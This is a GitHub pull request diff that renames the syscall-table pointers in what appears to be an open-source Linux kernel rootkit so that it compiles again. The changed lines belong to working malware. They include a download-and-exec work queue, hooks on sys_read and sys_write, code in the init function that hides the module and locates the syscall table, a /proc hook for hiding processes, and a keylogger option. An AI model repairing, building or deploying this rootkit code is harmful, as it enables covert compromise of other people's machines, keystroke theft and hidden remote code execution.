Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix conflicting types for ia32_sys_call_table and sys_call_table error #11

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions common.h
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@
# define DEBUG_RW(fmt, ...)
#endif

extern unsigned long *sys_call_table;
extern unsigned long *my_sys_call_table;

char *strnstr(const char *haystack, const char *needle, size_t n);
void *memmem(const void *haystack, size_t haystack_size, const void *needle, size_t needle_size);
Expand All @@ -60,7 +60,7 @@ void disable_module_loading(void);
void enable_module_loading(void);

#if defined(_CONFIG_X86_64_)
extern unsigned long *ia32_sys_call_table;
extern unsigned long *my_ia32_sys_call_table;
#endif

#if defined(_CONFIG_KEYLOGGER_)
Expand Down
2 changes: 1 addition & 1 deletion dlexec.c
Original file line number Diff line number Diff line change
Expand Up @@ -268,7 +268,7 @@ void dlexec_init ( void )
{
DEBUG("Initializing download & exec work queue\n");

sys_chmod = (void *)sys_call_table[__NR_chmod];
sys_chmod = (void *)my_sys_call_table[__NR_chmod];
work_queue = create_workqueue("dlexec");
}

Expand Down
4 changes: 2 additions & 2 deletions hookrw.c
Original file line number Diff line number Diff line change
Expand Up @@ -104,10 +104,10 @@ void hookrw_init ( void )
{
DEBUG("Hooking sys_read and sys_write\n");

sys_read = (void *)sys_call_table[__NR_read];
sys_read = (void *)my_sys_call_table[__NR_read];
hijack_start(sys_read, &n_sys_read);

sys_write = (void *)sys_call_table[__NR_write];
sys_write = (void *)my_sys_call_table[__NR_write];
hijack_start(sys_write, &n_sys_write);
}

Expand Down
12 changes: 6 additions & 6 deletions main.c
Original file line number Diff line number Diff line change
Expand Up @@ -48,8 +48,8 @@ static int (*root_iterate)(struct file *file, struct dir_context *);
}
#endif

unsigned long *sys_call_table;
unsigned long *ia32_sys_call_table;
unsigned long *my_sys_call_table;
unsigned long *my_ia32_sys_call_table;

unsigned int hide_promisc = 0;
unsigned int module_loading_disabled = 0;
Expand Down Expand Up @@ -993,13 +993,13 @@ static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
kobject_del(__this_module.holders_dir->parent);

#if defined(_CONFIG_X86_64_)
ia32_sys_call_table = find_ia32_sys_call_table();
DEBUG("ia32_sys_call_table obtained at %p\n", ia32_sys_call_table);
my_ia32_sys_call_table = find_ia32_sys_call_table();
DEBUG("ia32_sys_call_table obtained at %p\n", my_ia32_sys_call_table);
#endif

sys_call_table = find_sys_call_table();
my_sys_call_table = find_sys_call_table();

DEBUG("sys_call_table obtained at %p\n", sys_call_table);
DEBUG("sys_call_table obtained at %p\n", my_sys_call_table);

/* Hook /proc for hiding processes */
proc_iterate = get_vfs_iterate("/proc");
Expand Down